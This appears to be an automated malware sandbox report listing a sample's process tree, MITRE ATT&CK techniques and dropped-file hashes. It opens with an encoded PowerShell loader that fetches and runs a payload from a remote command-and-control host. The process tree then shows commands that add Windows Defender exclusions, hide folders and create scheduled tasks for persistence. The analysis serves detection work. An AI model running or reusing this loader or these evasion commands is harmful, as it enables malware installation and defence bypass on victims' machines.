JwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AaQBrAG8AYgBvAHMAcwB0AC4AYwBjADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4168
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
      4⤵
      Views/modifies file attributes
      PID:4588
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
      4⤵
      Views/modifies file attributes
      PID:5792
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
      4⤵
      PID:1816
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
      4⤵
      PID:4448
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
      4⤵
      PID:5484
  - - C:\Windows\system32\gpupdate.exe
      "C:\Windows\system32\gpupdate.exe" /force /target:computer
      4⤵
      PID:2420
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4052
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6056
  - - C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
      "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
      4⤵
      PID:6268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
  2⤵
  PID:4264
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
  2⤵
  PID:4584

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1756

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5852

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:736

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4360 -ip 4360
1⤵
PID:1616

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4224
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6763720FDFC4110B1D502260D2F8E86F C
  2⤵
  PID:6704
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1FA4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240722515 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:6948

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1560

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

config.json

Path C:\ProgramData\Microsoft\Windows\OneSettings\config.json
Size 6KB
SHA256 a798dead9cfb0ce27e67b6298c9cc85df87d4af6f0c865742a76a4cf5c208068
MD5 5e1a01d6bf4e00ffeaf4e5531d0bec8e
SHA1 48eea89c355a37371c53a598a7ca892c2194edf8
SHA512 1dd0fdc05ea760ec9bd5c495bd32be3487dd52fc905322e272a009105782c2c1780714b51e54d62302d16a6893062120db0cbccbd5a4f7b271551f141b49af8c
SSDEEP 192:nGDCctouMgRXUhWwpoTQ/eKIO2CE4cA1RdrPLjT:nG5touMgRXUhWwpoTQ/eKL2tXWRVPLjT
TLSH
T115E1750DB184C87E9FAB61E6644AB940C6687B27ADC44CE4E5C28D1ED45F74C711CBE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Synaptics.exe

Path C:\ProgramData\Synaptics\Synaptics.exe
Size 764KB
SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
MD5 85e3d4ac5a6ef32fb93764c090ef32b7
SHA1 adedb0aab26d15cf96f66fda8b4cfbbdcc15ef52
SHA512 a7a037bde41bcd425be18a712e27a793185f7fde638e139bbd9d253c371cd9622385eda39cf91ab715ead2591cff5b8c9f5b31d903f138d8af7bab6a9001ccab
SSDEEP 12288:6MSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Ufbj:6nsJ39LyjbJkQFMhmC+6GD9mH
TLSH
T1A3F47D32F2D18437D1721A3D9C5BA3A5982ABE512E38794E3BE83E4C5F3D68138552D3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

background.exe

Path C:\Users\Admin\AppData\Local\0dd52937-ff6b-499d-9ffd-f064245155c4\background.exe
Size 29.0MB
SHA256 384d494911d5e63e2deb58bedd63d4cefd10b71558937f32af75e6aa5202b098
MD5 c933634e14fd63263480a201c16900c3
SHA1 6e27373df38eb3c0c660640d43c9491cc23a8767
SHA512 8a86742f3ba571de1472e0314e8cb48cd72271885b2feb40c4095fbcdba9a52c5bf9dc8ea0645db7d89f6897a93d6b0794ceb78b88d26cc9ebe19f816142a4db
SSDEEP 393216:bBkxl398nS9Ydl6Qd+Av6bHxB5k9E2zCGPuX1+5N1eUNM8aSEorhxxB:9Iltk1GQd3Sb9kVGGsI1dM8dj9Z
TLSH
T13F6794C6E152FF86E2294E95FB037C3986E0CF286A653E6C4010F795E6CB342951FB61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

03E91892B4C23DF04476485E943CD6E8263E00D0.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\03E91892B4C23DF04476485E943CD6E8263E00D0.temp
Size 18KB
SHA256 7e4130cbfbaf8e3c126535b91764c4eba5250ac5e517f2eb6b04c366bbde1dc6
MD5 53ca7b998409bfc859301f816b7fbd6e
SHA1 03e91892b4c23df04476485e943cd6e8263e00d0
SHA512 4a5c6166e0b5cef0e49afeb9008dc417919a9af6af335f845a1ab3a8e36447edcd50230715a2db3fd5393cbc1bd224f7cc508be2e738b98f08b06d0009426e17
SSDEEP 384:npcWEhWXXRm0GftpBj36JaQHRN7sTJklD8Z5:np68VigJL2Jam5
TLSH
T14B923A95CABC9483EDD7AD7063A4DD877C3DD7C31C20451A019AF5A929D33D1EB20A2D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

05A6F5BAF8BF698BAA581139F782E9B33D26B0D1.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\05A6F5BAF8BF698BAA581139F782E9B33D26B0D1.temp
Size 19KB
SHA256 441c50e7ba4a5807b7eba653850e0d48f31634d0a2c2f5b69e1e06acb3dcf5f7
MD5 85fe089a81e82131076eca1691d60bb2
SHA1 05a6f5baf8bf698baa581139f782e9b33d26b0d1
SHA512 1f52dd82995050613d24febe4bc2b5bf3db3625a21d24a06165f63cd0b5fc7836d7b0270ed31709c70f2356037d7a89cb2ecbb02e5923325e5824fea2bb87cae
SSDEEP 384:jlCWEhW1sngm0GftpBjfkVzKaQHRN7mkGlUGuYfj+1:qzngViZktKLmktQjw
TLSH
T154923AD9CABC9443ECD69D7063A8ED877C3DE7C31D208515059AF1A92C837D5EB28A2C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

06D9F4CD22A98549A4CC9B439FFC6FCE53112175.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\06D9F4CD22A98549A4CC9B439FFC6FCE53112175.temp
Size 19KB
SHA256 6453a3fc0f47286f232049f7147300c363312493960a99ab7c40d7bed29a7da0
MD5 c0fecb050c762035957bd89ebd4b4f45
SHA1 06d9f4cd22a98549a4cc9b439ffc6fce53112175
SHA512 3f4fed26f74c0c6754e99e4543e71ac63818355daf206b3fd2da5e42204e78660def08b830f84525685cd90992a74accd31fb2e1075df98939b835e368455ba0
SSDEEP 384:o2LWEhWkFm0GftpBjLQefDaQHRN7UDlD8ZWEl:bNViOefDLOmWEl
TLSH
T1F69229C5CABC9103E9C7AC701298E9977C3DD7D31C20846611A9F6A92DD37E1FB24A2D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0A6E95DAA685541E7628E07027BC826C750D235E.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\0A6E95DAA685541E7628E07027BC826C750D235E.temp
Size 249KB
SHA256 9493a3ab3d194318a12a0c372c16ee19b9259859112c739e9c36a70a9125ee0f
MD5 9650a706213f661ed95d687ab1adbe0e
SHA1 0a6e95daa685541e7628e07027bc826c750d235e
SHA512 99848e3bb2e76cab35b5b58105ff35cf7e35f6b320b260cc51ea12c94aa1b9c3814ace07202189d840665405cd8c7fb0e1cdd306836f9d45f9ba6503781e5e83
SSDEEP 6144:MIfvNAMDFmINJtmItrTMG4KPO0p0KYOw2KIU2257Gcy8DvNwHvfh9e/eQYIMT0D6:M0JFwCPP031B5
TLSH
T182444B63B3934DA1D48ED278681F16A7DD3AA00A037D87EB93A8DC31D4643F45E7A391
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1153800A293C31069F19035F07CF674ECFA5B5D6.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\1153800A293C31069F19035F07CF674ECFA5B5D6.temp
Size 22KB
SHA256 63c8d4ea5fe1f6594dc4b72645bded89c2b637d79d65d0edfacc49f7dd9de960
MD5 a446a3fadd7082e74069c36f674b316f
SHA1 1153800a293c31069f19035f07cf674ecfa5b5d6
SHA512 9a309e1a309c2bf141f81403850cbd756db2634a9df3704f05b6c32886f4a6bfe0f285636d56c87d39309cb6b72e2366cbb55b0bfc5822a9204d4c74e32637a6
SSDEEP 384:RPvVX3WEhWmvm0GftpBjkiBwaQHRN7t/l+j:RPvVXXXViRwLQ
TLSH
T130A22A96C9B8E54BFCCBDE7022A5DC837C3993C20820548A06D9E79C2CD33CAE75895C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

13CAE78A6E3ED88BD840F186E0D31CCD8CA490B5.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\13CAE78A6E3ED88BD840F186E0D31CCD8CA490B5.temp
Size 4.6MB
SHA256 71f63bd32d22d2b8813dfe4d15bddbc4025860f2c87a041c4aed1da8f8f9d426
MD5 385f902ad28bc1dca79c2b236dc9c2e8
SHA1 13cae78a6e3ed88bd840f186e0d31ccd8ca490b5
SHA512 342e02a8be7849f314944a25caa2cb1596cbce72e6f9074cadbf3006da35e608f95cb9fc1f8716f5bd2c42b84d2787e36156cc1ac131a4a687a92df23486136f
SSDEEP 49152:epM5plZr4tQ7KVcdGMCp5Ij+y9xJOM8y2eMVdxDMzdT70adnkcC+0u97gENBAZ:epepvX8kGoduoMVdkfRsZ
TLSH
T10B362AD160527173C9A292BF670F563FA1B7ADA6C30482C3C549AE8588743FB0F7B916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

16DEBCD1A74F4EBD5991E8E37CBD60AF96D7CBED.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\16DEBCD1A74F4EBD5991E8E37CBD60AF96D7CBED.temp
Size 18KB
SHA256 4873913495c493c3b8e91637d00544f4a13e512bdbaaac629b89ea5cebb331f4
MD5 9ed94fee211a33c585601ccecb8028ff
SHA1 16debcd1a74f4ebd5991e8e37cbd60af96d7cbed
SHA512 5f86000ec4968a51d6e62e819bda5b3ce2520d6cb43de2c7956f4d6dac8a60f3f4bcb8bce36d68b8e5807472cf22e36b882078f8a2bef946e4acf709848dd33d
SSDEEP 384:AWEhWMam0GftpBj8taQHRN7TZlmTXQ/Nw:mSViCLhw
TLSH
T11C921995DABC9543EDC7ACB062A8D9477C3D97C31C209926019AF5E91C933D1AB24A2C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

17F4909A650DB83A2746CFE0524F175EB40CA17A.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\17F4909A650DB83A2746CFE0524F175EB40CA17A.temp
Size 512KB
SHA256 68178e4b50f49984cfaf833a334f94079364be42fe219215452c883ae6d24e93
MD5 eb95593d4ab1ca140c0a6268ed611527
SHA1 17f4909a650db83a2746cfe0524f175eb40ca17a
SHA512 c886bac16f6a71311d7be8479559a0f9d00306c0cfbcae55580a6d671714e4e663066f712ce529e070dc0c629663cc15c2bcd3cca313c76f36cc7bb9ddd0da3a
SSDEEP 6144:826aVST4hgfj6zf6+6VL07XVwLcZOAr7OpcN:826aV84af+Z650ZwwQ277N
TLSH
T10DB4230F4B35F995CFC75D249F4B036C85D28C6DA0D8B29E99F2E158C44C64BAA0D7E8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

19ABB397CF0DBF4B422A5DFC86DAAA1FFE753310.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\19ABB397CF0DBF4B422A5DFC86DAAA1FFE753310.temp
Size 148KB
SHA256 b4d8461e5d2c03e1a6eb58ad696d26aa0a7c8709eb4ca4aec632f3e04607ab04
MD5 fbabd93a054a5640d98f9a0e811381e8
SHA1 19abb397cf0dbf4b422a5dfc86daaa1ffe753310
SHA512 b773d05e1b31109899370bfe211558c2e1aee67edae9eb44a10862b9cb67abb8213f13dfe349c311bf87b807469adf273a173515fcfd041d2864ae3f478612e6
SSDEEP 3072:WQd2CszqTFnL6iKfrx511o/fWdSrUAvf8ObBiPCMX:vd2nzqTFneikdcfWdGf8ObM
TLSH
T186E309B3766589B2F047C2740C1D7E2BEA7BB41C032207D3EF4A9D7318656D12A3766A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1ABB30C52DADFA4FA4BAE50771E352B671A2110B.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\1ABB30C52DADFA4FA4BAE50771E352B671A2110B.temp
Size 512KB
SHA256 71beedd995db8b8e56fab0defa8f4140447786d379cdfcf256153a676bb8e7cb
MD5 56249a703e0af57107cf2c09e5c31023
SHA1 1abb30c52dadfa4fa4bae50771e352b671a2110b
SHA512 efb00c7148e70d74037ef85f9570325b31fc01e80ac41d3cf9c349f369ae832f32a68a8ae7a7500d748576cac3bb45900f49eb83f7e3eee604fd79c216db1621
SSDEEP 6144:ZbotW24yLVDbALsqI981/GDOexX3EDl9N3ZSdVtHA1Tw72G2lVo2mqTI:Zcb4CV7qrQBF3EDjNCVccXOQqTI
TLSH
T188B4BC1F8371F9248ED35C950F5B262D98E04E6DB1C4B44DAAF6C0ADC98E167E89C3E4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1ACBA04C7AB704114F004A2FFDC65C231D88DB37.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\1ACBA04C7AB704114F004A2FFDC65C231D88DB37.temp
Size 18KB
SHA256 b8ae54d4cc2848e26beb5c03901ab5097d273d2144b0a0cca24517e4bbbbf78a
MD5 0a140e3610d15ea1b408266dd54331f2
SHA1 1acba04c7ab704114f004a2ffdc65c231d88db37
SHA512 f64cdbf0f8b3818f01b71ba6d0c437abc9151571726c070bc951196d9532d6dafc0e9ac0e21865635ffb589f7530c413c87e5f9cdf135712288fed84e782e932
SSDEEP 384:d3WEhW7sngm0GftpBj2Z5zlLTaQHRN7Yl+jT:JhngVi0Z5zxTLtT
TLSH
T190923AC4CABCA443ECD39D7053A8ED877D3DD7C31D20456A1559F6A82D833D5AB24A2C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1B83A8C4A33CA87E9C15450C6671E935EA863B13.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\1B83A8C4A33CA87E9C15450C6671E935EA863B13.temp
Size 828KB
SHA256 c0f4933c577d8a326a5995e6a4e555444b2cd61305f66373d0fc206e3aaa10ea
MD5 cd96c6562bdbb6de700e3e4fd9807949
SHA1 1b83a8c4a33ca87e9c15450c6671e935ea863b13
SHA512 65ed6bc9d61a43b4eceab08f9215bb92cf8d6bd0d3a5535ee63aec5ffd7cdcc218cd3f9f95b29bf5244fbdcf603954b2dfc7459522403470a29f7287b9028b76
SSDEEP 12288:3HssqpURGhtgGm8dvqG9R07sCQ0SPkTWYU9jDh:3HssqpUQQGm8dCt7sCMPkyPjD
TLSH
T130054B52F38B01A3E98483BB445DABE7E13EB11547325AD3A318DF2650673D5AA3E1C3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1BDFA14A0883AC96FFED09237C503C8ACCBBC2BD.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\1BDFA14A0883AC96FFED09237C503C8ACCBBC2BD.temp
Size 19KB
SHA256 dace42c257053f70a4a6e832ad5586ec01ed874a7762b43f20e018b4907b8dae
MD5 cb5dbaa334d0784bb225761474fb4e59
SHA1 1bdfa14a0883ac96ffed09237c503c8accbbc2bd
SHA512 d5b030a366dea90a971ae2da22845250beabe4bf2f352eaa3870b5fe97815f4f38b0a812aedc7e173fada08d11336115c3bdcf14e4bb1224324bd8bd129f9a6b
SSDEEP 384:/j0WEhWjsngm0GftpBjYEnKaQHRN7v7clD16b3aWp:LilngViOEnKLv77aWp
TLSH
T123922A968AFC5943D8939E30A3F8DEC7BD3D97C32D206425145AF5A828C37D5AF2492C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1E3E06BB40EE195015E3917492B1F89AA0D5F6F4.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\1E3E06BB40EE195015E3917492B1F89AA0D5F6F4.temp
Size 19KB
SHA256 896bb4e7a7dfb92d040d44c109264a1a57666983bcc34fbce9858b201d26083f
MD5 2b752370dd03d5b12d4ec2d66a6dc15b
SHA1 1e3e06bb40ee195015e3917492b1f89aa0d5f6f4
SHA512 c55fc423b7670f2494b264e3270e9ff6d2e7acb587ff25e9d37267bc4ca72c005e2767bb67a3c4a0b755ddeb9e9bbd41a84dfe4e87833598f99f451b97f71f5e
SSDEEP 384:jK0WEhW2Qim0GftpBjbCL+TaQHRN7sGCFmlUGuYfj+z85:3XfVi4LALs1FNQjU85
TLSH
T135924AC7DABC6943D9939E7052B8DA83BE3FD7C35C10852A4466F19D28833D5AB3492C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2380A9E72AF5DCA2B0311562D3B447D8DC65B17E.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\2380A9E72AF5DCA2B0311562D3B447D8DC65B17E.temp
Size 19KB
SHA256 e4a91fe4bdc8cb032e9149ee36b4c3b2ad42351652cfae6093d1415d5d6e7c33
MD5 d85d248a5fb70aae8f7b90e7b34f208a
SHA1 2380a9e72af5dca2b0311562d3b447d8dc65b17e
SHA512 b37314fb7094234f22bb838903dd1fc093b6b13342176ae175545e85cf9b7d63927c71c4bd671837271d62054a4bf9607e2026b02f5789e2cb916e1ddbd2e888
SSDEEP 384:8lYsFGWEhWM1vm0GftpBjhhFaQHRN7RRoYhl+j8O:DVVivLud
TLSH
T11C9229D5CABC9443F9D69CB023A8ED877C3DD7C21C20452605AAF5A918C77C5EB24A2C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2C4E6E2FAEFB49491B2625B3DA975D00984C891E.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\2C4E6E2FAEFB49491B2625B3DA975D00984C891E.temp
Size 66KB
SHA256 24763d8ed2762b7838a520a6bd4741b25ccf585696da90429621669234d6d1e0
MD5 00c59b9dcf0363efc6a4b8da29ed5e79
SHA1 2c4e6e2faefb49491b2625b3da975d00984c891e
SHA512 0ce20fd9975d06e5e75b7d5cf303f2290a9482effb7b0eb62f89c0f96c1ae50c76aeb99358b3e42cc9f55849450151fef587381f3e6cee6830490a13f6f3672c
SSDEEP 1536:VJU8/eBYsuXe6BUEycTSwMM9qh3e47Pg7YJR:/UFYsuFBUEycDLq9eSPg0
TLSH
T1EA634A1362544037E629D5342B5D43E989BBF07087A1E2F3E2185D223C397F2EDAD56E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

368293929ADF4C27790FEBA3E4E21DC3E7356AF7.temp

Path C:\Users\Admin\AppData\Local\Changguang\CG70\cache\368293929ADF4C27790FEBA3E4E21DC3E7356AF7.temp
Size 1.7MB
SHA256 19992dbe8f69cc761c7371f64effd103e5c3952700979051d431d7746c41f24a
MD5 08886b0fc3c2a293cef515e61ff23107
SHA1 368293929adf4c27790feba3e4e21dc3e7356af7
SHA512 c7f3a9d3c0a91092734a22a75d48e47c922d5b384a5193b95f4ee49b4268f5c1d5c60f1c1c177bc0816ad7b509aba090eda12778b687b7b8d6358e74766685fc
